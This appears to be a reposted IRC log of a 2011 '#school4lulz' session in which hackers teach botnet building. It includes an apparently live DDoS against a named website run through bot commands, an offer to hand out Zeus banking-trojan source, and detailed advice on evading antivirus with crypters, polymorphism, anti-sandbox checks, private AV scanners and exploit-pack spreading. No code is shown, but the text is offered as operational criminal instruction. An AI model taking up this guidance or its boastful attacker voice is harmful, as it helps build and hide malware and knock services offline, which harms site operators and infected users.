Jun 25 13:55:29 <hatter> So now you can iterate through all the columns of all the tables and start
selecting things out of tables.
Jun 25 13:55:32 <hatter> enjoy
Jun 25 13:55:38 * hatter sets mode -m #school4lulz

```

## Advanced Botnet Structure and Theory (by Fox, Xopchipili, Jester, and D0ct0r

Posted by nachash on June 25, 2011

None comments

\*\*\*\* BEGIN LOGGING AT Fri Jun 24 21:51:26 2011

```

Jun 24 21:51:27 * Fox gives channel half-operator status to d0ct0r
Jun 24 21:51:33 <d0ct0r> yay
Jun 24 21:51:58 <Fox> Now we're starting off with whats called the 'botcloud'
Jun 24 21:52:09 <Fox> d0ct0r you want to start off on this new little phenomenon?
Jun 24 21:52:35 <d0ct0r> Ok let us begin
Jun 24 21:52:48 <d0ct0r> Ok the person who makes the botnet
Jun 24 21:52:53 <d0ct0r> is called the bot herder
Jun 24 21:53:06 <d0ct0r> He is able to control the botnet from his own computer
Jun 24 21:53:14 <d0ct0r> usually, in my case, through an irc.
Jun 24 21:53:36 <d0ct0r> In order to create the botnet
Jun 24 21:54:01 <d0ct0r> the user must compromise a server or computer with a Trojan
Jun 24 21:54:31 <d0ct0r> There are different types
Jun 24 21:54:32 <d0ct0r> of botnets
Jun 24 21:54:37 <d0ct0r> in organization
Jun 24 21:54:44 <d0ct0r> A "circle" botnet
Jun 24 21:54:52 <d0ct0r> a "Muti-server"
Jun 24 21:55:02 <d0ct0r> a "Family" botnet
Jun 24 21:55:11 <d0ct0r> and then of course there is a no organization
Jun 24 21:55:12 <d0ct0r> b
Jun 24 21:55:13 <d0ct0r> botnet
Jun 24 21:55:36 <d0ct0r> Now with the botnet
Jun 24 21:55:54 <d0ct0r> Once your computer or server is infected with it, you will usually not be
able to tell
Jun 24 21:56:29 <d0ct0r> Then the bot or trojan from your computer logs into a server
Jun 24 21:56:39 <d0ct0r> usually, as I stated before, an irc server
Jun 24 21:57:00 <d0ct0r> Then from there the botherder, if a whitehat hacker usually DoS'es
Jun 24 21:57:16 <d0ct0r> If a blackhat hacker, usually "rents-out" the botnet to a company to spam
messages
Jun 24 21:57:27 <d0ct0r> This is why you have viagra advertisements on your computer
Jun 24 21:57:56 <d0ct0r> And this is about it.
Jun 24 21:58:02 <d0ct0r> Any questions?
Jun 24 21:58:34 <Omega`> -m so people can reply
Jun 24 21:58:50 <d0ct0r> Oh thats right Fox you there?
Jun 24 21:58:51 * jester sets mode -m #school4lulz
Jun 24 21:58:53 <LulzLizard[925]> For the spam messages, who is in charge of generating email
accounts etc? the company or the botnet herder?
Jun 24 21:59:01 <RedStar> no thanks
Jun 24 21:59:09 <jester> one thing to add
Jun 24 21:59:14 <Fox> Yeah
Jun 24 21:59:14 <d0ct0r> It varies lulzlizard
Jun 24 21:59:15 <Fox> I'm here
Jun 24 21:59:17 <RedStar> nice going
Jun 24 21:59:17 <jester> IRC is where the first bots came to be
Jun 24 21:59:22 <Fox> Whoaaaaaaa
Jun 24 21:59:26 <jester> sticking with IRC in 2011 is shooting yourself in the foot
Jun 24 21:59:31 <Fox> k
Jun 24 21:59:31 <Fox> sec
Jun 24 21:59:33 <Fox> break
Jun 24 21:59:34 <Fox> lol
Jun 24 21:59:35 <jester> k
Jun 24 21:59:35 <pleb> explanation of the different types maybe?
Jun 24 21:59:42 <allmybase> what if irc protocol is blocked
Jun 24 21:59:42 <d0ct0r> It works fine jester most anon use it.
Jun 24 21:59:44 <jester> d0ct0r asked for questions
Jun 24 21:59:51 <d0ct0r> Ok
Jun 24 21:59:54 <sirizbiz> yup explanation of types pl0x 😊

```



Jun 24 21:59:54 <jester> d0ct0r i didnt say it didnt work

Jun 24 21:59:59 <Faks> why not most of troajns can be easliy tracked down like i do testing netstat and checking msconfig and startup in regedit is there a way to hide them from such paranoids freaks like me aye ?

Jun 24 22:00:01 <jester> i said its unsafe

Jun 24 22:00:06 <jester> easy to eavesdrop

Jun 24 22:00:09 <jester> easy to reverse

Jun 24 22:00:11 <jester> easy to take over

Jun 24 22:00:15 <Infinite> were is the best pace nowdays then?

Jun 24 22:00:19 <jester> you have any idea how many nets ive jacked?

Jun 24 22:00:20 <Infinite> place\*

Jun 24 22:00:22 <d0ct0r> True But I have sub botnets within my botnet

Jun 24 22:00:22 <jester> spoiler: they were all irc nets

Jun 24 22:00:30 \* jester sets mode +m #school4lulz

Jun 24 22:00:33 <d0ct0r> Jester "whispers: I began my botnet by jacking it"

Jun 24 22:00:43 <jester> now if you are new to nets and you wanna fool around with IRC feel free

Jun 24 22:00:49 <jester> but if you get serious and want a large, secure net

Jun 24 22:00:54 <jester> another protocol is preferable

Jun 24 22:00:58 <jester> imo

Jun 24 22:01:12 <d0ct0r> Jester but the best way to rent out, or in my case let other people use it

Jun 24 22:01:13 <jester> the first nets were modified mirc scripts and shit

Jun 24 22:01:14 <d0ct0r> is with an irc

Jun 24 22:01:19 <jester> no not at all

Jun 24 22:01:24 <d0ct0r> It was telnet jester

Jun 24 22:01:33 <d0ct0r> Ok so the different organizations

Jun 24 22:01:43 <jester> the first widespread nets that started the whole scene were mirc shits

Jun 24 22:01:44 <jester> lol.

Jun 24 22:01:46 <jester> GTBot

Jun 24 22:01:48 <jester> frozen bot

Jun 24 22:01:49 <jester> etc

Jun 24 22:01:58 <jester> now to address your point about renting it out

Jun 24 22:02:09 <jester> i could compile a custom commander right now that could only control 1000 bots

Jun 24 22:02:17 <jester> connect to the same master server

Jun 24 22:02:25 <jester> and be completely secure

Jun 24 22:02:43 <jester> so.. yeah.

Jun 24 22:03:15 <d0ct0r> Ok so let us begin with organization

Jun 24 22:03:28 <d0ct0r> So I personally use a "family" organization

Jun 24 22:03:46 <d0ct0r> So basically it has one big server and various subservers

Jun 24 22:04:07 <d0ct0r> Each connect "upward" until

Jun 24 22:04:14 <d0ct0r> it arrives at the server

Jun 24 22:04:34 <d0ct0r> This eliminates the ease of feds or others hijacking or killing your botnet

Jun 24 22:04:43 <Fox> d0ct0r

Jun 24 22:04:43 <d0ct0r> so if they kill one subserver

Jun 24 22:04:45 <Fox> Correction

Jun 24 22:04:49 <d0ct0r> yes?

Jun 24 22:04:49 <Fox> Compartmentalizes.

Jun 24 22:05:11 <d0ct0r> Oh sorry, my terminology was incorrect.

Jun 24 22:05:40 <d0ct0r> Another advantage in a "family" botnet organization is speed.

Jun 24 22:05:53 <d0ct0r> you let them all connect, and then you can

Jun 24 22:05:59 <d0ct0r> attack the one target

Jun 24 22:06:03 \* \etc\passwd is now known as RedStar

Jun 24 22:06:10 <d0ct0r> causing a DoS efficient and effective

Jun 24 22:06:22 <jester> once again, to me this seems like a sloppy workaround to using something that avoids irc altogether, and simply has a different protocol/identification method to avoid anyone seeing ANY information about your net

Jun 24 22:06:28 <jester> for example

Jun 24 22:06:44 <jester> IRC: bot connects, and unless its a heavily modified ircd they can see all the other bots

Jun 24 22:06:45 <Fox> jester

Jun 24 22:06:51 <jester> and they see the commander connect and identify

Jun 24 22:06:52 <Fox> IRC is a basepoint to these kids.

Jun 24 22:06:57 <d0ct0r> ^

Jun 24 22:06:57 <Fox> We're gonna get to http 😊

Jun 24 22:07:00 <jester> i understand that

Jun 24 22:07:02 <d0ct0r> mhm

Jun 24 22:07:02 <jester> im trying to explain

Jun 24 22:07:05 <jester> why its insecure

Jun 24 22:07:11 <jester> because all users are equal

Jun 24 22:07:13 <jester> bots and commanders

Jun 24 22:07:18 <Fox> Let d0ct0r get through the IRC bump

Jun 24 22:07:21 <jester> can see eachother, etc, makes it very easy to take over

Jun 24 22:07:22 <jester> ok fuck it

Jun 24 22:07:24 <jester> bai

Jun 24 22:07:29 <Fox> IE:

Jun 24 22:07:39 <Fox> Subject -> Rebuttal

Jun 24 22:07:42 <Fox> follow.

Jun 24 22:07:42 <d0ct0r> Ok I will show you an example

Jun 24 22:07:44 <d0ct0r> of speed

Jun 24 22:07:49 <d0ct0r> of the speed\*  
Jun 24 22:07:51 <d0ct0r> of a botnet.  
Jun 24 22:07:57 <d0ct0r> So a "family" botnet  
Jun 24 22:08:05 <d0ct0r> So currently I have seen one target  
Jun 24 22:08:14 <d0ct0r> who has been bothering lulzsec, and other hackers  
Jun 24 22:08:15 <d0ct0r> www.infosecisland.com  
Jun 24 22:08:33 <d0ct0r> So now  
Jun 24 22:08:39 <d0ct0r> I am preparing by botnet  
Jun 24 22:09:32 <d0ct0r> and now  
Jun 24 22:09:37 <d0ct0r> !check www.infosecisland.com  
Jun 24 22:09:44 <d0ct0r> Oh we don't have that here  
Jun 24 22:09:44 <d0ct0r> lol  
Jun 24 22:09:54 <d0ct0r> Do !invite evilworks Fox  
Jun 24 22:09:56 <vtm> it's dead  
Jun 24 22:09:56 \* #school4lulz :Cannot send to channel (+m)  
Jun 24 22:09:59 <d0ct0r> !invite evilworks  
Jun 24 22:10:03 <jester> TANGO DOWN  
Jun 24 22:10:09 <d0ct0r> exactly  
Jun 24 22:10:21 <d0ct0r> So everyone check for themselves  
Jun 24 22:10:54 <d0ct0r> My speed is approximately 6 seconds to take down the target  
Jun 24 22:10:58 <d0ct0r> http://www.isup.me/infosecisland.com  
Jun 24 22:11:19 <d0ct0r> Ok so now, I will withdraw my botnet from attack  
Jun 24 22:11:26 <d0ct0r> which will cease with efficiently.  
Jun 24 22:11:37 <d0ct0r> Now it should be up  
Jun 24 22:11:44 <d0ct0r> And tada  
Jun 24 22:11:46 <d0ct0r> it is up  
Jun 24 22:11:52 <d0ct0r> http://www.isup.me/infosecisland.com  
Jun 24 22:12:02 <d0ct0r> That is the power of a botnet.  
Jun 24 22:12:10 <Fox> On switch  
Jun 24 22:12:12 <Fox> off switch  
Jun 24 22:12:16 <d0ct0r> Exactly  
Jun 24 22:12:21 <Topiary> what type of flood was that?  
Jun 24 22:12:25 >d0ct0r< pipe of infosecisland?  
Jun 24 22:12:35 <jester> dickDoS  
Jun 24 22:12:39 <d0ct0r> lol  
Jun 24 22:12:40 <d0ct0r> Yea  
Jun 24 22:12:41 <jester> penises via packets  
Jun 24 22:12:52 <Fox> See type of flood class from prior talk  
Jun 24 22:12:58 <Fox> That addresses all types of floods  
Jun 24 22:13:05 \* Fox gives channel operator status to xochipilli  
Jun 24 22:13:14 <Topiary> did you engage in http cannons or perhaps some SYN ammunition from your battleship with that last one, d0ct0r?  
Jun 24 22:13:18 <Fox> xochipilli will be speaking on executable encryption.  
Jun 24 22:13:25 <xochipilli> :3  
Jun 24 22:13:26 <Fox> In a few  
Jun 24 22:13:26 <d0ct0r> http cannons  
Jun 24 22:13:38 >Fox< what is the bandwidth needed to screw infosec island, how to gather info about it?  
Jun 24 22:13:46 <d0ct0r> That's the power of a "family" organized botnet  
Jun 24 22:13:59 <Fox> d0ct0r  
Jun 24 22:14:02 <Fox> estimated bandwidth?  
Jun 24 22:14:10 <d0ct0r> mmm no idea  
Jun 24 22:14:18 <d0ct0r> Don't have that scripted in  
Jun 24 22:14:27 <d0ct0r> Well it takes 6 seconds  
Jun 24 22:14:34 <Fox> w/e  
Jun 24 22:14:35 <Fox> moving along  
Jun 24 22:14:39 <d0ct0r> Ok  
Jun 24 22:14:44 <Fox> Jester is going to speak to you little niggas  
Jun 24 22:14:54 <Fox> about how you get your net jacked, and http command and control  
Jun 24 22:14:56 <Fox> and in the middle  
Jun 24 22:15:07 <Fox> I have a little gift for you faggots from School4Lulz  
Jun 24 22:15:14 <d0ct0r> lol  
Jun 24 22:15:37 <jester> alright, so ladies when I mention that IRC isnt optimal for your advanced-botnet needs, that doesnt always mean http either  
Jun 24 22:15:48 <jester> now there are very successful http bots, as you'll see soon  
Jun 24 22:16:04 <jester> but with a little coding expertise you can make your own protocol, your own listening master, commander, and bots  
Jun 24 22:16:27 <jester> or cut out the master and turn it into a peer-to-peer system  
Jun 24 22:16:45 <jester> either way, the reason you want to avoid IRC past a certain amount is because of ease of hijacking and sniffing  
Jun 24 22:17:14 <jester> if you sandbox an irc bot, you can easily find out what server it connects to, port, channel, nick form  
Jun 24 22:17:27 <jester> makes it very easy for even a 14 year old to pretend to be a bot and come sit on your net and watch  
Jun 24 22:17:35 <d0ct0r> lol  
Jun 24 22:17:40 <jester> thats the weakness of IRC, every user is treated equal  
Jun 24 22:17:48 <jester> now, there are heavily modified ircds, and ways to avoid this  
Jun 24 22:18:03 <jester> but as i mentioned, in my opinion thats a sloppy way to take care of a big problem

Jun 24 22:18:26 >jester< what about each client has it's rsa key to auth into a mod ircd?

Jun 24 22:18:37 <jester> you cut out the IRC factor, and you sandbox a bot connecting to a server passing encrypted parameters and data, thats a significant amount of reversing work to get anywhere

Jun 24 22:19:17 <jester> not to mention that if the C&C is set up properly, the best they can do is pretend to be a bot, because they dont have enough information to be a commander

Jun 24 22:19:33 <jester> cuts down on available information to whitehats/law enforcement/kids wanting to take over your shit

Jun 24 22:19:51 <jester> now, again, im not saying nobody here should test the waters with a good irc bot

Jun 24 22:19:59 <jester> they work. they have worked for years.

Jun 24 22:20:05 <jester> you just need to be aware of the risks.

Jun 24 22:20:38 <jester> now, a very popular and sucessful HTTP-based net

Jun 24 22:20:42 <jester> is zeus

Jun 24 22:20:58 <jester> everyone and their mothers in the bnet scene knows wtf zeus is

Jun 24 22:21:02 <jester> if you dont, today is your lucky day

Jun 24 22:21:10 <d0ct0r> lol

Jun 24 22:21:22 <jester> Fox has a surprise

Jun 24 22:21:29 <Fox> :3

Jun 24 22:21:32 <Fox> Indeed

Jun 24 22:21:44 <xochipilli> other issue is, irc traffic is much more suspicious

Jun 24 22:21:45 <xochipilli> than http traffic

Jun 24 22:21:52 <Fox> Moment while I prepare

Jun 24 22:22:02 <xochipilli> irc traffic is pretty synonomous w/ botnet control

Jun 24 22:22:07 <xochipilli> not many average joes use irc

Jun 24 22:22:13 <xochipilli> every single one of them uses a web browser

Jun 24 22:22:26 <jester> indeed

Jun 24 22:23:05 <jester> or an im client, or any other abundantly available apps that connect, but when you are non-willingly connecting to IRC its a pretty big red flag

Jun 24 22:23:09 <d0ct0r> How much does zeus costs now jester?

Jun 24 22:23:11 <jester> for the users and for their security software

Jun 24 22:23:22 <jester> idk I've never bought it

Jun 24 22:23:36 <d0ct0r> me neither but I hear it is like 10,000 USD

Jun 24 22:24:08 <d0ct0r> but the source code is leaked now

Jun 24 22:24:12 <d0ct0r> so no need anymore

Jun 24 22:24:13 <d0ct0r> 🙄

Jun 24 22:24:19 <jester> mhm

Jun 24 22:24:23 <Fox> :3

Jun 24 22:24:23 <jester> gotta give fox a few mins

Jun 24 22:24:34 <Fox> Kids

Jun 24 22:24:42 <Fox> the problem with getting leaked source

Jun 24 22:24:48 <Fox> is that it's usually backdoored

Jun 24 22:24:49 <Fox> now right now

Jun 24 22:24:59 <Fox> you're all about to get a nice clean copy of zeus for yourselves.

Jun 24 22:25:15 <d0ct0r> :O

Jun 24 22:25:40 <Fox> In the meantime while I'm uploading the cleaned version that xochipilli and I have prepared for you kiddies,

Jun 24 22:25:59 <d0ct0r> Does it come with aaall the features

Jun 24 22:26:02 <Fox> xochipilli is going to tell you a little about executables and how to protect before I speak

Jun 24 22:26:02 <d0ct0r> ?

Jun 24 22:26:25 <xochipilli> ah

Jun 24 22:26:27 <xochipilli> am i up?

Jun 24 22:26:34 <Fox> Yep

Jun 24 22:26:39 <xochipilli> im actually in the middle of fuddin a crypter

Jun 24 22:26:39 <xochipilli> haha

Jun 24 22:26:43 <xochipilli> how suiting

Jun 24 22:26:44 <Fox> Lol

Jun 24 22:26:45 <xochipilli> so yeah

Jun 24 22:26:54 <xochipilli> does anyone know how AV works? lets say I have a file

Jun 24 22:26:55 <xochipilli> like zeus

Jun 24 22:27:03 <xochipilli> how does an AV \*know\*, that its zeus

Jun 24 22:27:03 <xochipilli> ?

Jun 24 22:27:04 \* xochipilli sets mode -m #school4lulz

Jun 24 22:27:09 <jester> signatures

Jun 24 22:27:11 <jester> sry spoiled

Jun 24 22:27:12 <xochipilli> ^

Jun 24 22:27:14 <jester> lol

Jun 24 22:27:14 \* xochipilli sets mode +m #school4lulz

Jun 24 22:27:18 <xochipilli> exactly

Jun 24 22:27:23 <d0ct0r> lol You werent suppose to answer that jester 🙄

Jun 24 22:27:24 <xochipilli> now, some AVs do "active protection" shit

Jun 24 22:27:27 <xochipilli> we'll talk about that later

Jun 24 22:27:32 <d0ct0r> norton

Jun 24 22:27:33 <xochipilli> but yes, signatures

Jun 24 22:27:35 <jester> i know

Jun 24 22:27:40 <xochipilli> basically, what they do is, fingerprint the binary

Jun 24 22:27:40 <jester> i apologized for spoilt

Jun 24 22:27:44 <xochipilli> but looking for little pieces of code

Jun 24 22:27:49 <xochipilli> it could be anything  
Jun 24 22:27:50 <xochipilli> youd be AMAZED  
Jun 24 22:27:54 <xochipilli> the shit they detect  
Jun 24 22:28:00 <d0ct0r> Then when it is encrypted you are safe  
Jun 24 22:28:00 <xochipilli> and even more amazed, they dont get any cross-detections  
Jun 24 22:28:07 <xochipilli> im getitn there 😊  
Jun 24 22:28:12 <d0ct0r> lol srly  
Jun 24 22:28:18 <xochipilli> so, unless you wanna go rewrite little parts of zeus  
Jun 24 22:28:20 <xochipilli> that get detected  
Jun 24 22:28:29 <xochipilli> how will u keep AVs from detecting it?  
Jun 24 22:28:33 <xochipilli> w/ a packer/crypter  
Jun 24 22:28:38 <xochipilli> essentially what a crypter does  
Jun 24 22:28:41 <xochipilli> is take your bot exe  
Jun 24 22:28:49 <xochipilli> encrypt it  
Jun 24 22:28:56 <xochipilli> and then pack it into another exe w/ a "stub"  
Jun 24 22:29:00 <xochipilli> which unpacks and decrypts it at run time  
Jun 24 22:29:09 <xochipilli> depending on the method, it may "drop" a file, or decrypt straight into memory  
Jun 24 22:29:12 <xochipilli> and run it  
Jun 24 22:29:17 <xochipilli> the latter is obviously preferable  
Jun 24 22:29:24 <xochipilli> but  
Jun 24 22:29:29 <xochipilli> you cant just store a big binary blob  
Jun 24 22:29:34 <xochipilli> of encrypted bot  
Jun 24 22:29:38 <xochipilli> in the middle of your exe  
Jun 24 22:29:42 <xochipilli> AVs will frown upon that  
Jun 24 22:29:53 <xochipilli> so you usually put it into an image  
Jun 24 22:29:57 <xochipilli> or some other kind of file  
Jun 24 22:30:16 <d0ct0r> Then you post it on 4chan and get lots of zombie computers  
Jun 24 22:30:18 <xochipilli> so it just looks like your program has some kind of file in it, which plenty of legitimate progrmas do  
Jun 24 22:30:21 <xochipilli> haha  
Jun 24 22:30:22 <xochipilli> so now  
Jun 24 22:30:24 <xochipilli> what kind of encryption  
Jun 24 22:30:25 <xochipilli> should u use  
Jun 24 22:30:28 <xochipilli> can anyone tell me  
Jun 24 22:30:37 <xochipilli> why you shouldnt write your own crypto for a crypter?  
Jun 24 22:30:39 \* xochipilli sets mode -m #school4lulz  
Jun 24 22:30:54 <xochipilli> cmon  
Jun 24 22:30:54 <bmcld> because aes is secure and your own crypto could be broken easily  
Jun 24 22:30:56 <VanOfTheDusk> Cause we suck at scripting?  
Jun 24 22:30:57 <xochipilli> jus guess at it :p  
Jun 24 22:30:58 <WeAreRevenge> because only you can decrypt  
Jun 24 22:31:00 <xochipilli> hahaha  
Jun 24 22:31:03 <xochipilli> no  
Jun 24 22:31:05 <Fox> cause your lazy  
Jun 24 22:31:05 <WeAreRevenge> LAWL  
Jun 24 22:31:08 \* xochipilli sets mode +m #school4lulz  
Jun 24 22:31:11 <vtm> cuz the av would frown at it  
Jun 24 22:31:12 \* #school4lulz :Cannot send to channel (+m)  
Jun 24 22:31:12 <xochipilli> because  
Jun 24 22:31:17 <xochipilli> its easy to detect  
Jun 24 22:31:21 <xochipilli> if i use crypto thats used everywhere  
Jun 24 22:31:23 <xochipilli> like DES  
Jun 24 22:31:25 <xochipilli> they can detect my crypto  
Jun 24 22:31:31 <xochipilli> w/o detecting tons of legitimate software  
Jun 24 22:31:41 <d0ct0r> cant\*  
Jun 24 22:31:46 <xochipilli> ^  
Jun 24 22:31:49 <xochipilli> if you write your own crypto routine, theyll just keep detecting it  
Jun 24 22:31:49 <xochipilli> thank you d0ct0r  
Jun 24 22:31:53 <d0ct0r> np  
Jun 24 22:31:53 <xochipilli> and youll spend all your time rewriting it  
Jun 24 22:32:03 <xochipilli> if possible, use an existing crypto package  
Jun 24 22:32:06 <xochipilli> something legit software uses  
Jun 24 22:32:20 <xochipilli> you want your packer to look and behave like a benign program AS MUCH AS POSSIBLE  
Jun 24 22:32:42 <xochipilli> should i talk about polymorphism?  
Jun 24 22:32:45 <xochipilli> or is that too much?  
Jun 24 22:32:50 <xochipilli> should i get into the  
Jun 24 22:32:50 <xochipilli> practical  
Jun 24 22:32:54 <jester> hold up  
Jun 24 22:32:54 <xochipilli> how do i take over the world w/ my botnet  
Jun 24 22:32:56 <xochipilli> aspect of this?  
Jun 24 22:32:56 <Fox> xochipilli  
Jun 24 22:33:00 <d0ct0r> yea sure  
Jun 24 22:33:01 <Fox> keep goin  
Jun 24 22:33:05 <jester> the best possible methods in existense to avoid having your bot reversed or detected  
Jun 24 22:33:06 <Fox> as my connection sucks dick  
Jun 24 22:33:09 <jester> are

Jun 24 22:33:10 <Fox> and these kids are entertained  
Jun 24 22:33:16 <d0ct0r> lol  
Jun 24 22:33:17 <jester> the methods invented to protect software  
Jun 24 22:33:17 <xochipilli> haha ok  
Jun 24 22:33:21 <xochipilli> also  
Jun 24 22:33:23 <jester> for example: my personal favorite is a VM  
Jun 24 22:33:23 <xochipilli> worth noting  
Jun 24 22:33:27 <xochipilli> good crypters will have anti-sandboxing features  
Jun 24 22:33:29 <jester> if you have your exe run in a virtual machine  
Jun 24 22:33:46 <xochipilli> clever AVs will actually run your binary in a sandbox, until it unpacks your evil bot  
Jun 24 22:33:49 <xochipilli> and THEN  
Jun 24 22:33:50 <xochipilli> scan the bot  
Jun 24 22:34:08 <xochipilli> so you have to do some nasty things that AV sandboxes can't "follow"  
Jun 24 22:34:13 <xochipilli> or delay execution  
Jun 24 22:34:15 <Mutiny> Avast asks me to run all kinds of exe's in a sandbox. I should test this out then I suppose.  
Jun 24 22:34:22 <xochipilli> because if it takes 2 minutes to run, the AV will just give up  
Jun 24 22:34:27 <jester> depending on the time spent and the randomization, it's nearly impossible to reverse  
Jun 24 22:34:27 <jester> well xochipilli  
Jun 24 22:34:27 <jester> VM defeats all of that  
Jun 24 22:34:29 <jester> even in memory it's running in a container  
Jun 24 22:34:32 <jester> with modified opcodes  
Jun 24 22:34:34 <jester> nopsleds randomly  
Jun 24 22:34:43 <xochipilli> oh yeah  
Jun 24 22:34:55 <xochipilli> i've never worked w/ something like that  
Jun 24 22:34:56 <jester> i have a friend who spent the last 3 years learning how to create a virtual machine and has been writing a program  
Jun 24 22:34:59 <xochipilli> tho i've heard about em  
Jun 24 22:35:01 <jester> it's a real beauty  
Jun 24 22:35:05 <Omega`> (and, writing your own crypto code is almost \*always\* a bad idea)  
Jun 24 22:35:07 <xochipilli> i bet  
Jun 24 22:35:13 <xochipilli> ^  
Jun 24 22:35:18 <xochipilli> if you aren't a crypto pro  
Jun 24 22:35:20 <xochipilli> don't bother  
Jun 24 22:35:23 <xochipilli> you'll just hurt yourself  
Jun 24 22:35:26 <jester> randomly adds jmp tables  
Jun 24 22:35:32 <jester> morphs pushes  
Jun 24 22:35:37 <d0ct0r> oh that's nice  
Jun 24 22:35:38 <jester> VM is amazing  
Jun 24 22:35:39 <Omega`> Look at Sony and the PS3, just pathetic.  
Jun 24 22:35:44 <xochipilli> haha  
Jun 24 22:35:47 <d0ct0r> lol  
Jun 24 22:35:47 <jester> lmao  
Jun 24 22:35:47 <xochipilli> either way  
Jun 24 22:35:51 <xochipilli> as cool as VMs are  
Jun 24 22:35:53 <xochipilli> i'm gonna move on :p  
Jun 24 22:36:00 <jester> yeah  
Jun 24 22:36:04 <xochipilli> so, few more things  
Jun 24 22:36:07 <xochipilli> polymorphism  
Jun 24 22:36:15 <xochipilli> you want every crypt to be unique  
Jun 24 22:36:18 <xochipilli> you can do this a few ways  
Jun 24 22:36:21 <xochipilli> tweaking compiler options  
Jun 24 22:36:24 <xochipilli> or even using a different compiler  
Jun 24 22:36:27 <xochipilli> polymorphic code  
Jun 24 22:36:40 <xochipilli> adding junk code  
Jun 24 22:36:43 <xochipilli> rearranging code  
Jun 24 22:36:51 <xochipilli> some of this can be done programmatically  
Jun 24 22:36:54 <xochipilli> another thing is string crypto  
Jun 24 22:37:04 <xochipilli> strings are an easy thing for them to detect, if u have a unique string in your program  
Jun 24 22:37:11 <xochipilli> so you have to write a routine to generate strings on demand  
Jun 24 22:37:21 <xochipilli> lol ^  
Jun 24 22:37:24 <xochipilli> there are infinite ways you can do this  
Jun 24 22:37:28 <xochipilli> just something to chew on  
Jun 24 22:37:32 <xochipilli> fun little project  
Jun 24 22:37:42 <xochipilli> so  
Jun 24 22:37:43 <xochipilli> more practically  
Jun 24 22:37:47 <xochipilli> you've bought  
Jun 24 22:37:49 <xochipilli> or written a crypter  
Jun 24 22:37:51 <xochipilli> NOW WHAT?  
Jun 24 22:37:58 <xochipilli> well you crypt your bin, test it out  
Jun 24 22:38:03 <xochipilli> there are a few sites out there  
Jun 24 22:38:10 <xochipilli> that will scan your bin w/ a whole array of AVs  
Jun 24 22:38:13 <xochipilli> so you can see what detects it  
Jun 24 22:38:15 <d0ct0r> google.com is one  
Jun 24 22:38:23 <xochipilli> scan4you.org  
Jun 24 22:38:26 <xochipilli> is the most well used

Jun 24 22:38:28 <xochipilli> .net also works  
Jun 24 22:38:29 <xochipilli> i believe  
Jun 24 22:38:32 <xochipilli> they get ddosed all the time  
Jun 24 22:38:33 <d0ct0r> Or you can use your own antivirus to detect it  
Jun 24 22:38:37 <xochipilli> so they jump from domain to tdomain  
Jun 24 22:38:43 <xochipilli> the advantage of something like scan4you  
Jun 24 22:38:45 <xochipilli> over using your own AV  
Jun 24 22:38:50 <xochipilli> is they scan your file w/ 33 different AVs  
Jun 24 22:38:52 <xochipilli> 34 now actually  
Jun 24 22:38:55 <d0ct0r> damn  
Jun 24 22:38:58 <xochipilli> so u can see how many and which ones detect it  
Jun 24 22:39:05 <xochipilli> which is useful  
Jun 24 22:39:14 <xochipilli> because most crypters will become detected after a couple days or so  
Jun 24 22:39:19 <jester> yeah  
Jun 24 22:39:24 <xochipilli> more or less dpeneding on how many users/nodes there are  
Jun 24 22:39:30 <jester> depending on your consumer base  
Jun 24 22:39:30 <xochipilli> AV companies get samples  
Jun 24 22:39:34 <jester> consumer\*\*  
Jun 24 22:39:34 <d0ct0r> Over 9000  
Jun 24 22:39:36 <xochipilli> make sigs  
Jun 24 22:39:42 <xochipilli> you can avoid this  
Jun 24 22:39:44 <xochipilli> by avoiding honeypots  
Jun 24 22:39:51 <xochipilli> a good bot will self destruct  
Jun 24 22:39:55 <xochipilli> if its run in a VM  
Jun 24 22:39:57 <xochipilli> for this reason  
Jun 24 22:39:59 <xochipilli> most honeypots are VMs  
Jun 24 22:40:07 <xochipilli> DO NOT  
Jun 24 22:40:11 <xochipilli> use virustotal  
Jun 24 22:40:15 <xochipilli> someone just prmd me to mention them  
Jun 24 22:40:19 <xochipilli> virustotal submits malware smaples  
Jun 24 22:40:20 <xochipilli> samples\*  
Jun 24 22:40:26 <d0ct0r> ahh  
Jun 24 22:40:32 <xochipilli> submitting someones bot to virustotal pretty much ensures it will  
become very detected  
Jun 24 22:40:36 <d0ct0r> Will zeus self-destruct btw?  
Jun 24 22:40:38 <xochipilli> if u find someones bot on your computer  
Jun 24 22:40:40 <xochipilli> and u wanna say FUCK U  
Jun 24 22:40:42 <xochipilli> submit it to VT  
Jun 24 22:40:44 <xochipilli> d0ct0r: yes  
Jun 24 22:40:49 <d0ct0r> oh cool  
Jun 24 22:41:19 <xochipilli> so  
Jun 24 22:41:22 <xochipilli> youve got your crypted bin  
Jun 24 22:41:22 <d0ct0r> I may use the backdoors of my botnet to install zeus on all of them  
Jun 24 22:41:26 <xochipilli> tested it w/ s4u  
Jun 24 22:41:34 <xochipilli> zeus is p dope  
Jun 24 22:41:36 <xochipilli> very minimalist  
Jun 24 22:41:39 <xochipilli> i appreciate that  
Jun 24 22:41:47 <xochipilli> so yeah  
Jun 24 22:41:49 <xochipilli> any questions?  
Jun 24 22:41:50 \* xochipilli sets mode -m #school4lulz  
Jun 24 22:42:00 <VanOfTheDusk> Yes. I have one.  
Jun 24 22:42:04 <xochipilli> sorry if i move a little quick, its in my nature  
Jun 24 22:42:07 <xochipilli> shoot  
Jun 24 22:42:16 <d0ct0r> Boom headshot  
Jun 24 22:42:24 <jester> one more thing  
Jun 24 22:42:26 <jester> 954-435-0005 – Ask for tupac  
Jun 24 22:42:27 <VanOfTheDusk> for the newbie, what is the risk involved with getting a botnet on  
your pc?  
Jun 24 22:42:41 <xochipilli> is it your bot?  
Jun 24 22:42:43 <xochipilli> or someone elses?  
Jun 24 22:42:48 <d0ct0r> 100%  
Jun 24 22:42:55 <nxnja`> is there any working spreaders out there besides usb spread?  
Jun 24 22:42:56 <VanOfTheDusk> Could you explain both situations to me?  
Jun 24 22:42:58 <xochipilli> i dont understand the question  
Jun 24 22:43:05 <d0ct0r> He is asking  
Jun 24 22:43:08 <TMK> VanOfTheDusk, getting your internet line cut by your ISP for spamming the  
network  
Jun 24 22:43:10 <d0ct0r> if he is the botherder  
Jun 24 22:43:10 <xochipilli> nxnja`: yes, msn jabber etc  
Jun 24 22:43:13 <xochipilli> or use an exploit pack  
Jun 24 22:43:19 <d0ct0r> bt5 hs one  
Jun 24 22:43:20 <xochipilli> and iframe it on compromised sites  
Jun 24 22:43:24 <Fox> Kids.  
Jun 24 22:43:30 <Fox> It's time  
Jun 24 22:43:32 <d0ct0r> oke yea he has asking if he is the botherder if he will get arrested by the  
feds  
Jun 24 22:43:33 <z3lat> good place to start from is elastic hosts...  
